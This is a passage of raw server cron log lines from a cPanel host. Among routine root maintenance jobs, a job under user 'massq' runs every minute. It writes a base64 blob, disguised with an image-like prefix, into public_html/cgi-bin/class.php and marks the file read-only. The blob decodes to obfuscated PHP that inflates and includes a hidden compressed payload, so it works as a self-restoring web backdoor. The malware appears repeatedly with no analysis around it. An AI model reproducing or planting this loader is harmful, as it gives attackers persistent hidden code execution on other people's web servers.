&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:34:01 server CROND[28415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:35:01 server CROND[29228]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:35:01 server CROND[29229]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 15:35:01 server CROND[29230]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 15:35:01 server CROND[29233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:35:01 server CROND[29235]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:36:01 server CROND[30216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:37:01 server CROND[31025]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:38:01 server CROND[32029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:39:01 server CROND[387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:39:01 server CROND[388]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 15:40:01 server CROND[1318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:40:01 server CROND[1319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:40:01 server CROND[1320]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 15:40:01 server CROND[1321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:41:01 server CROND[2205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:42:01 server CROND[3125]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:42:01 server CROND[3126]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 15:43:01 server CROND[3924]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:44:01 server CROND[4733]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:45:01 server CROND[5549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:45:01 server CROND[5550]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:45:01 server CROND[5551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
